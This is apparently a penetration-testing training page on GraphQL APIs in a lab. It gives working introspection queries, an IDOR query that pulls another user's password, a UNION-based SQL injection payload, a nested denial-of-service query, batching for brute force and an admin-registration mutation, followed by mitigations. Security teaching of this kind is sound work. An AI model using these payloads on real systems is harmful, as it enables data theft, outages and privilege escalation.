GraphQL

Queries are the part of the graphQL request that are followed by braces { and can have OPTIONALLY parameters written as (parameter_name: "value").

Queries can be made of fields and other sub-queries.

Information Disclosure

Identifying the GraphQL Engine

As a first step, we will identify the GraphQL engine used by the web application using the tool graphw00f. Graphw00f will send various GraphQL queries, including malformed queries, and can determine the GraphQL engine by observing the backend's behavior and error messages in response to these queries.

After cloning the git repository, we can run the tool using the main.py Python script. We will run the tool in fingerprint (-f) and detect mode (-d). We can provide the web application's base URL to let graphwoof attempt to find the GraphQL endpoint by itself:

python3 main.py -d -f -t http://172.17.0.2

. Additionally, it provides us with the corresponding detailed page in the GraphQL-Threat-Matrix, which provides more in-depth information about the identified GraphQL engine:

Lastly, by accessing the /graphql endpoint in a web browser directly, we can see that the web application runs a graphiql interface. This enables us to provide GraphQL queries directly, which is a lot more convenient than running the queries through Burp, as we do not need to worry about breaking the JSON syntax.

Introspection

Introspection is a GraphQL feature that enables users to query the GraphQL API about the structure of the backend system. As such, users can use introspection queries to obtain all queries supported by the API schema. These introspection queries query the __schema field.

For instance, we can identify all GraphQL types supported by the backend using the following query:

{
  __schema {
    types {
      name
    }
  }
}

Now that we know a type, we can follow up and obtain the name of all of the type's fields with the following introspection query:

{
  __type(name: "UserObject") {
    name
    fields {
      name
      type {
        name
        kind
      }
    }
  }
}

Furthermore, we can obtain all the queries supported by the backend using this query:

{
  __schema {
    queryType {
      fields {
        name
        description
      }
    }
  }
}

Knowing all supported queries helps us identify potential attack vectors that we can use to obtain sensitive information. Lastly, we can use the following "general" introspection query that dumps all information about types, fields, and queries supported by the backend:

query IntrospectionQuery {
      __schema {
        queryType { name }
        mutationType { name }
        subscriptionType { name }
        types {
          ...FullType
        }
        directives {
          name
          description
          
          locations
          args {
            ...InputValue
          }
        }
      }
    }

    fragment FullType on __Type {
      kind
      name
      description
      
      fields(includeDeprecated: true) {
        name
        description
        args {
          ...InputValue
        }
        type {
          ...TypeRef
        }
        isDeprecated
        deprecationReason
      }
      inputFields {
        ...InputValue
      }
      interfaces {
        ...TypeRef
      }
      enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
      }
      possibleTypes {
        ...TypeRef
      }
    }

    fragment InputValue on __InputValue {
      name
      description
      type { ...TypeRef }
      defaultValue
    }

    fragment TypeRef on __Type {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
                ofType {
                  kind
                  name
                  ofType {
                    kind
                    name
                  }
                }
              }
            }
          }
        }
      }
    }

Or everything in 1 line:

{"data":{"__schema":{"queryType":{"name":"Query"},"mutationType":{"name":"Mutation"},"subscriptionType":null,"types":[{"kind":"OBJECT","name":"Query","description":null,"fields":[{"name":"node","description":null,"args":[{"name":"id","description":"The ID of the object","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"ID","ofType":null}},"defaultValue":null}],"type":{"kind":"INTERFACE","name":"Node","ofType":null},"isDeprecated":false,"deprecationReason":null},{"n

The result of this query is quite large and complex. However, we can visualize the schema using the tool GraphQL-Voyager. For this module, we will use the GraphQL Demo. However, in a real engagement, we should follow the GitHub instructions to host the tool ourselves so that we can ensure that no sensitive information leaves our system.

In the demo, we can click CHANGE SCHEMA and select INTROSPECTION. After pasting the result of the above introspection query in the text field and clicking on DISPLAY, the backend's GraphQL schema is visualized for us. We can explore all supported queries, types, and fields:

Insecure Direct Object Reference (IDOR)

Identifying IDOR

To identify issues regarding broken authorization, we first need to identify potential attack points that would enable us to access data we are not authorized to access. Enumerating the web application, we can observe that the following GraphQL query is sent when we access our user profile (EXAMPLE):

As we can see, user data is queried for the username provided in the query. While the web application automatically queries the data for the user we logged in with, we should check if we can access other user's data. To do so, let us provide a different username we know exists: test.

Note that we need to escape the double quotes inside the GraphQL query to not break the JSON syntax:

Exploiting IDOR

To demonstrate the impact of this IDOR vulnerability, we need to determine what data we can access without authorization. To do so, we are going to use the following introspection queries to determine all fields of User type:

{
  __type(name: "UserObject") {
    name
    fields {
      name
      type {
        name
        kind
      }
    }
  }
}

As we can see from the result, the User object contains a password field that, presumably, contains the user's password:

Let us adjust the initial GraphQL query to check if we can exploit the IDOR vulnerability to obtain another user's password by adding the password field in the GraphQL query:

{
  user(username: "test") {
    username
    password
  }
}

From the result, we can see that we have successfully obtained the user's password.

Injection Attacks

SQL Injection

Since GraphQL is a query language, the most common use case is fetching data from some kind of storage, typically a database. As SQL databases are one of the most predominant forms of databases, SQL injection vulnerabilities can inherently occur in GraphQL APIs that do not properly sanitize user input from arguments in the SQL queries executed by the backend.

Therefore, we should carefully investigate all GraphQL queries, check whether they support arguments, and analyze these arguments for potential SQL injections.

Using the introspection query discussed earlier and some trial-and-error, we can identify that the backend supports the following queries that require arguments:

  • post

  • user

  • postByAuthor

To identify if a query requires an argument, we can send the query without any arguments and analyze the response. If the backend expects an argument, the response contains an error that tells us the name of the required argument. For instance, the following error message tells us that the postByAuthor query requires the author argument:

After supplying the author argument, the query is executed successfully

We can now investigate whether the author argument is vulnerable to SQL injection. For instance, if we try a basic SQL injection payload, the query does not return any result:

Let us move on to the user query. If we try the same payload there, the query still returns the previous result, indicating a SQL injection vulnerability:

If we simply inject a single quote, the response contains a SQL error, confirming the vulnerability:

Since the SQL query is displayed in the SQL error, we can construct a UNION-based SQL injection query to exfiltrate data from the SQL database. Remember that the database might contain data that we cannot query from the GraphQL API. As such, we should check for any sensitive data in the database that we can access.

To construct a UNION-based SQL injection payload, let us take another look at the results of the introspection query:

The vulnerable user query returns a UserObject, so let us focus on that object. As we can see, the object consists of six fields and a link (posts)

The fields correspond to columns in the database table. As such, our UNION-based SQL injection payload needs to contain six columns to match the number of columns in the original query. Furthermore, the fields we specify in our GraphQL query correspond to the columns returned in the response. For instance, since the username is a UserObject's third field, querying for the username will result in the third column of our UNION-based payload being reflected in the response.

As the GraphQL query only returns the first row, we will use the GROUP_CONCAT function to exfiltrate multiple rows at a time. This enables us to exfiltrate all table names in the current database with the following payload:

{
  user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -") {
    username
  }
}

The response contains all table names concatenated in the username field:

{
  "data": {
    "user": {
      "username": "user,secret,post"
    }
  }
}

Since this is a SQL injection vulnerability just like in any other web application, we can use all SQL payloads and attack vectors to enumerate column names and finally exfiltrate data. For more details on exploiting SQL injections check SQL Injection Fundamentals

Cross-Site Scripting (XSS)

XSS vulnerabilities can occur if GraphQL responses are inserted into the HTML page without proper sanitization. Similar to the above SQL injection vulnerability, we should investigate any GraphQL arguments for potential XSS injection points. However, in this case, both queries do not return an XSS payload:

XSS vulnerabilities can also occur if invalid arguments are reflected in error messages. Let us look at the post query, which expects an integer ID as an argument. If we instead submit a string argument containing an XSS payload, we can see that the XSS payload is reflected without proper encoding in the GraphQL error message:

However, if we attempt to trigger the URL from the corresponding GET-parameter by accessing the URL /post?id=<script>alert(1)</script>, we can observe that the page simply breaks, and the XSS payload is not triggered.

Denial-of-Service (DoS) & Batching Attacks

Depending on the GraphQL API's configuration, we can create queries that result in exponentially large responses and require significant resources to process. This can lead to high hardware utilization on the backend system, potentially leading to a DoS scenario that limits the service's availability to other users.

Denial-of-Service (DoS) Attacks

To execute a DoS attack, we must identify a way to construct a query that results in a large response. Let's look at the visualization of the introspection results in GraphQL Voyager. We can identify a loop between the UserObject and PostObject via the author and posts fields:

We can abuse this loop by constructing a query that queries the author of all posts. For each author, we then query the author of all posts again. If we repeat this many times, the result grows exponentially larger, potentially resulting in a DoS scenario.

Since the posts object is a connection, we need to specify the edges and node fields to obtain a reference to the corresponding Post object. As an example, let us query the author of all posts. From there, we will query all posts by each author and then the author's username for each of these posts:

{
  posts {
    author {
      posts {
        edges {
          node {
            author {
              username
            }
          }
        }
      }
    }
  }
}

This is an infinite loop we can repeat as many times as we want. If we take a look at the result of this query, it is already quite large because the response grows exponentially larger with each iteration of the loop we query:

Making our initial query large will slow down the server significantly, potentially causing availability issues for other users. For instance, the following query crashes the GraphiQL instance:

{
  posts {
    author {
      posts {
        edges {
          node {
            author {
              posts {
                edges {
                  node {
                    author {
                      posts {
                        edges {
                          node {
                            author {
                              posts {
                                edges {
                                  node {
                                    author {
                                      posts {
                                        edges {
                                          node {
                                            author {
                                              posts {
                                                edges {
                                                  node {
                                                    author {
                                                      posts {
                                                        edges {
                                                          node {
                                                            author {
                                                              posts {
                                                                edges {
                                                                  node {
                                                                    author {
                                                                      username
                                                                    }
                                                                  }
                                                                }
                                                              }
                                                            }
                                                          }
                                                        }
                                                      }
                                                    }
                                                  }
                                                }
                                              }
                                            }
                                          }
                                        }
                                      }
                                    }
                                  }
                                }
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

Batching Attacks

Batching in GraphQL refers to executing multiple queries with a single request. We can do so by directly supplying multiple queries in a JSON list in the HTTP request. For instance, we can query the ID of the user admin and the title of the first post in a single request:

POST /graphql HTTP/1.1
Host: 172.17.0.2
Content-Length: 86
Content-Type: application/json

[
	{
		"query":"{user(username: \"admin\") {uuid}}"
	},
	{
		"query":"{post(id: 1) {title}}"
	}
]

The response contains the requested information in the same structure we provided the query in:

Batching is not a security vulnerability but an intended feature that can be enabled or disabled. However, batching can lead to security issues if GraphQL queries are used for sensitive processes such as user login. Since batching enables an attacker to provide multiple GraphQL queries in a single request, it can potentially be used to conduct brute-force attacks with significantly fewer HTTP requests. This could lead to bypasses of security measures in place to prevent brute-force attacks, such as rate limits.

For instance, assume a web application uses GraphQL queries for user login. The GraphQL endpoint is protected by a rate limit, allowing only five requests per second. An attacker can brute-force user accounts with only five passwords per second. However, using GraphQL batching, an attacker can put multiple login queries into a single HTTP request. Assuming the attacker constructs an HTTP request containing 1000 different GraphQL login queries, the attacker can now brute-force user accounts with up to 5000 passwords per second, rendering the rate limit ineffective. Thus, GraphQL batching can enable powerful brute-force attacks.

Mutations

What are mutations?

Mutations are GraphQL queries that modify server data. They can be used to create new objects, update existing objects, or delete existing objects.

Let us start by identifying all mutations supported by the backend and their arguments. We will use the following introspection query:

query {
  __schema {
    mutationType {
      name
      fields {
        name
        args {
          name
          defaultValue
          type {
            ...TypeRef
          }
        }
      }
    }
  }
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}

Or in 1 line:

query { __schema { mutationType { name fields { name args { name defaultValue type { ...TypeRef } } } } } } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }

From the result, we can identify a mutation registerUser, presumably allowing us to create new users. The mutation requires a RegisterUserInput object as an input:

We can now query all fields of the RegisterUserInput object with the following introspection query to obtain all fields that we can use in the mutation:

{   
  __type(name: "RegisterUserInput") {
    name
    inputFields {
      name
      description
      defaultValue
    }
  }
}

From the result, we can identify that we can provide the new user's username, password, role, and msg

As we identified earlier, we need to provide the password as an MD5-hash. To hash our password, we can use the following command:

echo -n 'password' | md5sum

With the hashed password, we can now finally register a new user by running the mutation:

mutation {
  registerUser(input: {username: "vautia", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "user", msg: "newUser"}) {
    user {
      username
      password
      msg
      role
    }
  }
}

The result contains the fields we queried in the mutation's body so that we can check for errors:

We can now successfully log in to the application with our newly registered user.

Exploitation with Mutations

To identify potential attack vectors through mutations, we need to thoroughly examine all supported mutations and their inputs. In this case, we can provide the role argument for newly registered users, which might enable us to create users with a different role than the default role, potentially allowing us to escalate privileges.

We have identified the roles user and admin from querying all existing users. Let us create a new user with the role admin and check if this enables us to access the internal admin endpoint at /admin. We can use the following GraphQL mutation:

mutation {
  registerUser(input: {username: "vautiaAdmin", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "admin", msg: "Hacked!"}) {
    user {
      username
      password
      msg
      role
    }
  }
}

In the result, we can see that the role admin is reflected, which indicates that the attack was successful

Tools of the Trade

We have already discussed tools that can help us in the enumeration phase: graphw00f and graphql-voyager. We will now discuss further tools to help us attack GraphQL APIs.

GraphQL-Cop

We can use the tool GraphQL-Cop, a security audit tool for GraphQL APIs. After cloning the GitHub repository and installing the required dependencies, we can run the graphql-cop.py Python script:

python3 graphql-cop.py  -v

We can then specify the GraphQL API's URL with the -t flag. GraphQL-Cop then executes multiple basic security configuration checks and lists all identified issues, which is a great baseline for further manual tests:

python3 graphql-cop/graphql-cop.py -t http://172.17.0.2/graphql

InQL

InQL is a Burp extension we can install via the BApp Store in Burp. After a successful installation, an InQL tab is added in Burp.

Furthermore, the extension adds GraphQL tabs in the Proxy History and Burp Repeater that enable simple modification of the GraphQL query without having to deal with the encompassing JSON syntax:

Furthermore, we can right-click on a GraphQL request and select Extensions > InQL - GraphQL Scanner > Generate queries with InQL Scanner:

Afterward, InQL generates introspection information. The information regarding all mutations and queries is provided in the InQL tab for the scanned host:

This is only a basic overview of InQL's functionality. Check out the official GitHub repository for more details.

GraphQL Vulnerability Prevention


After discussing how to attack different vulnerabilities that arise from misconfigured GraphQL implementations, let's discuss mitigations to prevent these vulnerabilities.


Vulnerability Prevention

Information Disclosure

General security best practices apply to prevent information disclosure vulnerabilities. These include preventing verbose error messages and instead displaying generic error messages. Furthermore, introspection queries are potent tools for obtaining information. As such, they should be disabled if possible. At the very least, whether any sensitive information is disclosed in introspection queries should be checked. If this is the case, all sensitive information needs to be removed.

Injection Attacks

Proper input validation checks need to be implemented to prevent any injection-type attacks such as SQL injection, command injection, or XSS. Any data the user supplies should be treated as untrusted before appropriate sanitization. The use of allowlists should be preferred over denylists.

Denial-of-Service (DoS)

As discussed, DoS attacks and the amplification of brute-force attacks through batching are common GraphQL attack vectors. Proper limits need to be implemented to mitigate these types of attacks. This can include limits to the GraphQL query depth, limits to the maximum GraphQL query size, and rate limits on the GraphQL endpoint to prevent many subsequent queries in quick succession. Additionally, batching should be turned off in GraphQL queries if possible. If batching is required, the query depth needs to be limited.

API Design

General API security best practices should be followed to prevent further attacks, such as attacks against improper access control (for instance, IDOR) or attacks resulting from improper authorization checks on mutations. This includes strict access control measures according to the principle of least privileges. In particular, the GraphQL endpoint should only be accessible after successful authentication, if possible, according to the API's use case. Furthermore, authorization checks must be implemented; preventing actors from executing queries or mutations they are not authorized to.

For more details on securing GraphQL APIs, check out OWASP's GraphQL Cheat Sheet.

Last updated